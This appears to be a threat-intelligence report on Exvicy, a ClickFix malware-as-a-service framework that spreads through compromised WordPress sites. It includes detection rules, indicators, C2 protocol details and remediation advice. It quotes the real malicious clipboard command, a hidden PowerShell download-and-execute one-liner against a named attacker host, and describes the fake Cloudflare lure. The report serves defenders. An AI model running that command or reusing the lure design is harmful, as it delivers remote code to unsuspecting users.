Skip to navigation

Threat reportMalwareTL-2026-5675

Exvicy: ClickFix MaaS Framework Copycat of ErrTraffic Distributing Malware via Compromised WordPress Sites

highACTIVE

Exvicy is a ClickFix malware distribution framework sold as Malware-as-a-Service on the Exploit.IN forum since 26 May 2026. Sekoia assesses with high confidence that it is a copycat of ErrTraffic, reusing its injected JavaScript, ClickFix HTML and C2 communication logic, but using a Win+R lure and hardcoded C2 servers instead of EtherHiding. First disclosed .

Key facts

IdentifiersTL-2026-5675
Also known asExvicy ClickFix framework, Exvicy MaaS
SeverityHIGH
First disclosed
Affected productsMicrosoft Windows (end-user hosts reached via the Win+R ClickFix lure); WordPress Compromised WordPress websites used to host the injected JavaScript
AttributionExvicy (low confidence)
ToolsPuTTY
MITRE ATT&CK techniquesT1027 Obfuscated Files or Information, T1059.001 PowerShell, T1071.001 Web Protocols, T1204.004 Malicious Copy and Paste, T1218.007 Msiexec, T1219 Remote Access Tools, T1583.001 Domains, T1584.004 Server, T1608.004 Drive-by Target
MotivationFINANCIAL
Target sectorsgeneral
Target regionsGlobal
Detection rules9 (1 shown free)
Sources6 cited sources

Detection coverage

As of 2026-11-10, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-5675 across Splunk SPL, Microsoft KQL and Sigma, covering 29 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: Exvicy ClickFix Win+R PowerShell Download-and-Execute (irm + InvokeScript)

Detects powershell.exe or pwsh.exe spawned by explorer.exe (the Windows Run dialog used by the Win+R, Ctrl+V, Enter ClickFix lure) whose command line downloads a remote script with irm/iwr and executes it in memory. This matches the Exvicy / ErrTraffic clipboard command powershell -wi mi -nop -Command with irm piped to InvokeCommand.InvokeScript, which fetches the stage from recaptcha-check.com (TL-2026-5675). Flags hidden-window switches and known Exvicy IOC strings for triage.

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1204.004, T1059.001, T1027
  • Data sources: sysmon, XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
  • Severity: high
  • Confidence: high

Splunk SPL

index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 earliest=-24h ParentImage="*\\explorer.exe" (Image="*\\powershell.exe" OR Image="*\\pwsh.exe") | eval cmd=lower(CommandLine) | where match(cmd,"irm |invoke-restmethod|iwr |invoke-webrequest|downloadstring") AND match(cmd,"invokescript|iex |iex[(]|invoke-expression") | eval hidden_window=if(match(cmd,"-w(i|in|indowstyle)?[ ]+(mi|min|minimized|h|hidden)"),1,0) | eval exvicy_ioc=if(match(cmd,"recaptcha-check[.]com|cloudflare-check[.]net|us-addnewdevice[.]com|8e9curhnh8ufamlz"),1,0) | stats count min(_time) as first_seen max(_time) as last_seen values(CommandLine) as command_lines max(hidden_window) as hidden_window max(exvicy_ioc) as exvicy_ioc by host User ParentImage Image | eval first_seen=strftime(first_seen,"%Y-%m-%d %H:%M:%S"), last_seen=strftime(last_seen,"%Y-%m-%d %H:%M:%S") | sort -exvicy_ioc -hidden_window

Microsoft KQL

DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName =~ "explorer.exe"
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any ("irm", "Invoke-RestMethod", "iwr", "Invoke-WebRequest", "DownloadString")
| where ProcessCommandLine has_any ("InvokeScript", "iex", "Invoke-Expression")
| extend HiddenWindow = ProcessCommandLine matches regex @"(?i)\s-w(i|in|indowstyle)?\s+(mi|min|minimized|h|hidden)"
| extend KnownExvicyIoc = ProcessCommandLine has_any ("recaptcha-check.com", "cloudflare-check.net", "us-addnewdevice.com", "8E9curHNH8UfAMLz")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine, HiddenWindow, KnownExvicyIoc
| order by KnownExvicyIoc desc, Timestamp desc

Sigma

title: Exvicy ClickFix Run Dialog PowerShell Download and Execute
id: 5c1d8e42-7b3a-4f6e-9a21-3d0f6b8c1a01
status: experimental
description: Detects PowerShell launched by explorer.exe (Win+R Run dialog) that downloads a remote script with irm or iwr and executes it in memory, the Exvicy / ErrTraffic ClickFix clipboard command pattern (TL-2026-5675).
references:
    - https://www.sekoia.com/blog/exvicy-a-copycat-of-the-errtraffic-malware-distribution-framework
author: Threadlinqs Team
date: 2026-11-10
tags:
    - attack.execution
    - attack.t1204.004
    - attack.t1059.001
    - attack.defense-evasion
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith: '\explorer.exe'
    selection_img:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
    selection_download:
        CommandLine|contains:
            - 'irm '
            - 'Invoke-RestMethod'
            - 'iwr '
            - 'Invoke-WebRequest'
            - 'DownloadString'
    selection_exec:
        CommandLine|contains:
            - 'InvokeScript'
            - 'iex '
            - 'iex('
            - 'Invoke-Expression'
    selection_ioc:
        CommandLine|contains:
            - 'recaptcha-check.com'
            - 'cloudflare-check.net'
            - 'us-addnewdevice.com'
            - '8E9curHNH8UfAMLz'
    condition: selection_parent and selection_img and ((selection_download and selection_exec) or selection_ioc)
falsepositives:
    - Administrators or developers running download-and-execute PowerShell one-liners from the Run dialog
    - Legitimate installers that bootstrap via irm | iex (for example package manager install commands)
level: high

Known false positives:

  • Administrators or developers running irm | iex one-liners from the Run dialog (for example package manager bootstrap commands)
  • Legitimate software installers launched from Explorer that fetch a script with Invoke-RestMethod

Tuning notes: Allowlist known internal bootstrap URLs and approved admin accounts or jump hosts by User/host. Raise priority when hidden_window=1 or exvicy_ioc=1. If Sysmon is not deployed, use Security EventCode 4688 with command-line auditing, or PowerShell 4104 script block logs, and adapt field names.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • Exvicy ClickFix Run Dialog PowerShell Stager (Defender for Endpoint) · unlock with TL Creds
  • Exvicy MSI Staging and PuTTY Remote Shell Persistence (Defender for Endpoint) · unlock with TL Creds
  • Exvicy C2 and Panel Infrastructure Connections (Defender for Endpoint) · unlock with TL Creds
  • Exvicy ClickFix Run Dialog PowerShell Execution (Sigma) · unlock with TL Creds
  • Exvicy Remote MSI Install and PuTTY Deployment (Sigma) · unlock with TL Creds
  • Exvicy ClickFix C2 Beacon, Lure Path and Infrastructure in Proxy Logs (Sigma) · unlock with TL Creds
  • Exvicy Post-Exploitation MSI Install and PuTTY Remote Shell Deployment · unlock with TL Creds
  • Exvicy C2 Web Traffic: api.php Beacon, Embed Lure Paths and Known Infrastructure · unlock with TL Creds

Indicators of compromise

As of 2026-11-10, Threadlinqs Intelligence tracks 29 indicators of compromise for TL-2026-5675.

Sample indicators (3 of 29)

  • IP address: 94.26.90[.]126
  • Domain: cloudflare-check[.]net
  • IP address: 89.34.90[.]159

Defanged, TLP:CLEAR. Full set of 29 indicators: unlock with TL Creds.

29 indicators of compromise · unlock with TL Creds. Compare plans

Technical analysis

Sekoia telemetry shows hosts in multiple customer environments communicating with Exvicy C2 servers.

Exvicy is a Malware-as-a-Service (MaaS) ClickFix framework (JavaScript injector plus admin panel) advertised on the Russian-language Exploit.IN forum by a Russian-speaking seller using the handle @Exvicy (also on Telegram; contact via jabber/tox on request). The ad titled "[RENT] CLICKFIX panel for your leads, traffic" appeared on 26 May 2026 after a private-access period. Pricing started at $1,200/month and was raised to $2,000/month in mid-August 2026, with the operator saying "detections are becoming daily". Four Exploit.IN users vouched for the product, citing frequent panel updates, infrastructure rotation and support. Advertised admin panel features: file management, Cloudflare-hosted C2 domain management, Telegram bot notifications for new visitors, download statistics, ClickFix page management and geolocation-based traffic filtering. By late August Sekoia had identified roughly 80 hosts serving the panel.

Infection chain: obfuscated JavaScript (Base64 plus XOR, randomized variable names) is injected into compromised WordPress sites. It sets a localStorage deduplication flag so it runs once per host, creates a full-screen iframe titled "Security Check", loads the ClickFix HTML remotely, registers the victim and originating website with the C2 and fetches the next stage. Two C2 hosts are hardcoded in the injected script: https://cloudflare-check.net and http://94.26.90.126. The lure is a fake Cloudflare Turnstile challenge; after the victim ticks the spoofed checkbox, instructions tell them to press Win+R, Ctrl+V and Enter. The clipboard holds a command placed by the copyText function, in the mid-August 2026 sample: powershell -wi mi -nop -Command "$a=irm 'recaptcha-check.com/8E9curHNH8UfAMLz';$ExecutionContext.InvokeCommand.InvokeScript($a)". The fetched obfuscated PowerShell downloader (seen on us-addnewdevice.com) retrieves an MSI from a Cloudflare R2 bucket and reports installation status to 89.34.90.159 (AS207043, DEDIK-IO). The MSI installs legitimate PuTTY, giving the operator a remote shell; putty.exe is listed in the panel's Files tab. Sekoia did not observe or name any later-stage malware family.

C2 protocol: the lure HTML is served from /embed/<ID>?embed=1&host=<WP_SITE>; /api.php?k=[a-f0-9]{48}&d=<base64> carries host telemetry via GET; /api.php POST actions are dl (fingerprint on page load, returns token and redir), cb (checkbox clicked, unique to Exvicy) and check (polled every 1.5 s for up to 3 minutes, returns fetched/consumed). Telemetry is also sent to /panel/html-event/{pid}/hit?type=visit|click. The admin panel lives at /panel on port 80 and the root path serves the ClickFix page. Panels use Cloudflare nameservers randy.ns.cloudflare.com and stevie.ns.cloudflare.com, registrars FewMoreTaps and PublicDomainRegistry, and Google Trust Services TLS certificates.

ErrTraffic relationship: ErrTraffic was sold by @LenAI on Exploit.IN from December 2025 and uses EtherHiding (Polygon contract 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2) as a dead drop resolver. Exvicy shares identical or near-identical code: FNV-1a hash for the localStorage flag, _xdvid UUID generation, copyText, 13-language lure with browser language detection, anti-analysis key blocking (F12, Ctrl+Shift+I/J/C, Ctrl+U), xdReq/xdDec POST helpers, the dl and check workflows and waitForToken polling. Differences: hardcoded C2 instead of EtherHiding, the added cb action and Win+R instead of Win+X. Sekoia assesses copycat status with high confidence and code reuse with high confidence (tooling overlap in the injected scripts with medium confidence); the primary hypothesis is source code acquired via customer access or a leak. Sekoia published the IOC CSV at github.com/SEKOIA-IO/Community. No victim sectors or regions are named in sources; severity HIGH is an analyst judgment and the sources state no rating.

MITRE ATT&CK techniques by tactic:

Defense Evasion

T1027 Obfuscated Files or Information; T1218.007 Msiexec

Execution

T1059.001 PowerShell; T1204.004 Malicious Copy and Paste

Command and Control

T1071.001 Web Protocols; T1219 Remote Access Tools

Resource Development

T1583.001 Domains; T1584.004 Server; T1608.004 Drive-by Target

Remediation

Immediate actions

  • Block and hunt for Exvicy C2 domains and IPs listed in the IOC set, including 94.26.90.126 and cloudflare-check.net
  • Hunt for powershell.exe launched from the Run dialog (explorer.exe parent) with -wi mi / -nop and irm piped to InvokeScript
  • Hunt for msiexec installs of unexpected PuTTY (putty.exe) and connections to 89.34.90.159
  • Alert on proxy/DNS requests to /api.php with k=[a-f0-9]{48} and /embed/ paths on newly registered domains

Workarounds

  • Disable the Run dialog (NoRun policy) for users who do not need it
  • Block newly registered domains at the proxy/DNS layer

Longer-term hardening

  • Train users that no legitimate CAPTCHA or Cloudflare check asks for Win+R, Ctrl+V and Enter
  • Restrict the Windows Run dialog and PowerShell execution via GPO/AppLocker/WDAC where feasible
  • Use PowerShell Constrained Language Mode, script block logging and AMSI-integrated EDR
  • Website owners: patch and harden WordPress, plugins and admin credentials, and monitor for injected scripts

Affected and fixed versions

  • Microsoft — Windows (end-user hosts reached via the Win+R ClickFix lure)
    Vulnerable versions: Hosts where users can run PowerShell via the Run dialog
  • WordPress — Compromised WordPress websites used to host the injected JavaScript
    Vulnerable versions: Compromised sites (initial compromise vector not stated in source)

Timeline

  • ErrTraffic ClickFix framework first sold by @LenAI on Exploit.IN (December 2025; exact day not stated)
  • locked-ioc-9 registered, the earliest matching Exvicy panel domain
  • Exvicy advertised on Exploit.IN as '[RENT] CLICKFIX panel for your leads, traffic' at $1,200/month
  • Forum user compares Exvicy to ErrTraffic; operator replies it uses Win+R rather than Win+X and posts a demo video
  • locked-ioc-12 registered; later seen with /panel login and hosting the PowerShell downloader
  • Additional Exvicy admin panels observed on multiple IPs
  • locked-ioc-10 registered, the latest of the matching panel domains cited
  • Price raised to $2,000/month (mid-August 2026); operator states detections are becoming daily; injected script snapshot taken from a compromised WordPress book-promotion site
  • Sekoia indicator cutoff date; roughly 80 panel-serving hosts identified
  • Sekoia TDR publishes the Exvicy analysis and IOC CSV, reporting telemetry of hosts in multiple customer environments contacting Exvicy C2

Sources cited

Drafted by the Threadlinqs research pipeline from 6 sources; published ; last updated —.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level

Latest Threats